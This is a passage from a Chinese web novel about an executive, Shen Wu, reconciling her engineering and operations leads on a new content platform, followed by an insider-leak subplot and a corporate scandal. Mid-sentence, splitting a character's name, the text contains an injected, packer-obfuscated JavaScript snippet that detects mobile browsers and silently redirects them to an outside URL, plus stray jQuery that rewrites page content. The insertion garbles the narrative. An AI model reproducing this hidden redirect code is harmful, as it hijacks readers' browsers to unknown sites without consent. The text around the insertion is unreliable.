沈芜安静地听着王工充满技术热情的阐述和李娜不时提出的现实顾虑。她没有打断任何一方，而是仔细地捕捉着两人话语中的关键信息和潜在诉求。
王工代表的是技术驱动的理想主义，渴望用创新的算法改变内容分发的格局，坚信潜力股的价值。他的背后，是整个技术团队对于自身能力的自信和对“雅韵”差异化路线的期待。
李娜代表着运营层面的务实主义，更关注短期效果、用户体验和风险控制。她的背后，是市场运营团队对于平台冷启动艰难性的清醒认知，以及对维持“雅韵”高端调性的责任感。
两种思路都有道理，也都有各自的局限性。完全偏向任何一方，都可能导致平台发展失衡。
“你们说的，都有道理。”沈芜等两人都充分表达完观点后，才缓缓开口，“‘雅韵’要做一个有格调、能沉淀价值的平台，这决定了我们不能像其他平台一样，唯流量论，盲目追求短期数据。所以，王工提出的，要挖掘和扶持真正有才华、有特色的新人创作者，这个方向我非常认同。这是我们形成内容壁垒、实现长远发展的关键。”
王工听到这里，眼睛一亮，露出胜利的笑容。
“但是，李经理的顾虑也是对的。平台上线初期，第一印象至关重要。我们需要一批能够镇得住场子、内容质量过硬、风格契合我们定位的成熟创作者，来快速建立用户认知，保证基础的用户体验。否则，光有潜力新人，内容参差不齐，用户来了留不住，再好的算法也无用武之地。”
李娜微微点头，表情缓和了一些。
“所以，”沈芜的目光在两人之间逡巡，“我的想法是，我们两条腿走路，但有所侧重。”
“两条腿走路？”李娜和王工都有些疑惑。
“是的。”沈芜解释道，“在平台上线初期，运营部门可以按照李经理的思路，重点邀请和签约一批符合‘雅韵’调性的成熟优质创作者，确保我们平台的基本盘和内容质量。这部分创作者，我们需要给予足够的资源倾斜和尊重，让他们感受到‘雅韵’的诚意和价值。”
她顿了顿，继续说道：“同时，技术部门的挖掘算法也要同步跟上。王工，你们的算法可以先在内部进行小范围测试和优化，不必急于一上线就大规模应用。我们可以设立一个‘新人扶持计划’，由运营和技术部门共同筛选出一小批极具潜力的新人创作者，进行重点孵化和资源倾斜。这部分新人，我们不追求数量，而是追求质量和独特性。”
“也就是说，”沈芜总结道，“初期，我们以成熟创作者保证平台下限和格调，用精选的新人创作者探索平台上限和特色。运营资源和技术资源需要紧密配合。比如，对于重点扶持的新人，运营要提供内容指导和流量支持，技术要通过算法进行更精准的推荐。成熟创作者带来稳定流量和用户认知，新人创作者则贡献惊喜和差异化内容。”
这个方案，试图在稳健和激进之间找到一个平衡点，既照顾了运营的现实需求，也给了技术施展的空间，同时还兼顾了平台长远发展的目标。
李娜沉思片刻，点了点头：“沈总这个思路，我觉得是目前来看比较稳妥和可行的。既保证了初期的稳定，也为未来留下了空间。只是，成熟创作者的邀请成本可能会比较高。”
“成本不是问题。”沈芜语气笃定，“林董事长那边已经给了充分的预算支持。关键是要找到真正符合我们平台气质、愿意和我们共同成长的创作者。我们可以提供比其他平台更优厚的创作激励、更灵活的商业化路径，甚至可以像对内部员工一样，对顶级的、深度绑定的创作者，探讨股权合作的可能性。”
“股权合作？”李娜和王工都吃了一惊。给创作者股份？这在行业内可是极其罕见的！
“没错。”沈芜点头，“‘雅韵’要做的是一个生态，创作者是这个生态里最重要的组成部分。把最优秀的创作者变成我们的‘合伙人’，让他们共享平台发展的红利，这才是最稳固的合作关系。”
王工此刻也完全被沈芜的思路折服了。他原本担心自己的算法会被保守的运营策略束缚，没想到沈总不仅采纳了他的建议，还提出了更具前瞻性的“两条腿走路”和“创作者股权合作”的方案。
“沈总，我明白了！”王工激动地说，“我们技术部一定尽快优化算法，配合运营部做好新人筛选和推荐工作！”
李娜也表示：“我会立即调整邀请策略，和团队一起细化执行方案，保证初期内容的质量和平台的调性。”
一场可能引发内部矛盾的分歧，在沈芜的调和下，变成了一次统一思想、明确方向的讨论。
李娜和王工离开办公室时，虽然各自的任务侧重点不同，但目标更加清晰，合作的意愿也更强了。
沈芜看着重新恢复忙碌的项目组，心里稍微松了口气。管理一个团队，尤其是这样一个背景复杂、精英云集的团队，远比她想象的要复杂。平衡各方利益，调和不同意见，凝聚团队共识，每一步都需要小心翼翼。
然而，办公室的平静之下，并非全无暗流。
逸兴娱乐的倒台，虽然让龙域平台失去了一个重要的外部盟友和股东，但也让龙域内部某些人嗅到了机会。傅文博的失势，意味着他在龙域内部的话语权急剧下降，甚至可能被彻底清洗出局。
龙域平台内部，一直存在着不同的派系和利益诉求。
傅文博所代表的资本方，与平台原有的管理层、技术团队之间，并非完全一条心。此刻，傅文博的垮台，反而让龙域内部某些势力觉得，少了一个指手画脚的外行，或许可以更专注于平台自身的发展。
而“雅韵”的出现，以及沈芜展现出的潜力和威胁，也让龙域内部产生了新的警惕和应对策略。既然挖角不成，那么从内部瓦解，或者说，安插“钉子”，就成了新的选择。
这天，周启
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330058|165520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明收到了一封匿名的内部邮件，邮件内容含糊地指向“雅韵”项目组内部，有人可能在向竞争对手泄露项目信息。
邮件没有提供具体证据，但言辞凿凿，暗示得非常明显。
周启明立刻警惕起来。虽然他不愿意相信自己一手搭建起来的团队里会出现内鬼，但空穴来风，未必无因。尤其是在经历了之前的挖角风波后，团队内部人心浮动，难保不会有人因为各种原因做出损害公司利益的事情。
他没有声张，而是不动声色地开始暗中观察和排查。同时，他也将这个情况向沈芜做了汇报。
沈芜得知这个消息，并不意外。傅让潮之前就提醒过她，要小心内部的渗透。
林氏集团家大业大，内部关系盘根错节，龙域或者其他竞争对手，想要安插眼线并非难事。
“我知道了，周总。”沈芜的表情依旧平静，“这件事，先不要扩大范围，以免引起不必要的恐慌。你多留意一下项目核心信息的保密工作，尤其是算法、核心代码和商业计划书这几块。至于那个所谓的‘内鬼’……”
她的眼神冷了下来：“如果真的有，迟早会露出马脚。我们现在最重要的是，按照既定计划，把产品做出来，上线。用实力说话，才是最有力的回击。”
周启明点头：“明白。”
*
逸兴娱乐的惊天丑闻，最终以一种意想不到却又在情理之中的方式落幕。
当调查深入，所有的证据链都指向公司的实际运营和财务决策时，傅文博阴狠狡诈的一面表现了出来。
原来公司的法人代表，不是他本人，而是他的母亲高丽娟。
高丽娟常年在家养尊处优，对公司事务一无所知，就是一个挂名的法人，此刻却成了承担法律责任的最佳人选。与此同时，财务总监杨敏，作为具体执行者，自然也难辞其咎。
最终的判决结果传来，陈丽娟和杨敏因涉嫌多项经济犯罪，被判入狱。而那些曾经与逸兴娱乐深度捆绑、参与了“阴阳合同”等违法行为的顶流明星们，为了避免牢狱之灾，也只能选择破财消灾，纷纷补缴天价税款和罚款，总金额据传高达令人咋舌的六百亿。
这场风波，在娱乐圈和资本圈投下了一颗重磅炸弹，余波震荡，人人自危。
傅文博虽然成功地“金蝉脱壳”，将自己从法律责任中摘了出来，但也付出了惨重的代价。母亲入狱，名声扫地，更重要的是，他在傅家的地位和影响力一落千丈。
逸兴娱乐的倒台，不仅让他失去了重要的敛财工具，也让他在龙域平台的股东地位变得岌岌可危。失去了逸兴这个输血渠道和内容来源，傅文博在龙域内部的话语权几乎被清空。
这对于一直觊觎龙域平台控制权的某些人来说，无疑是天赐良机。
就在傅文博焦头烂额之际，龙域平台内部迅速完成了权力更迭。
陈澈成为了龙域平台新的实际掌舵人。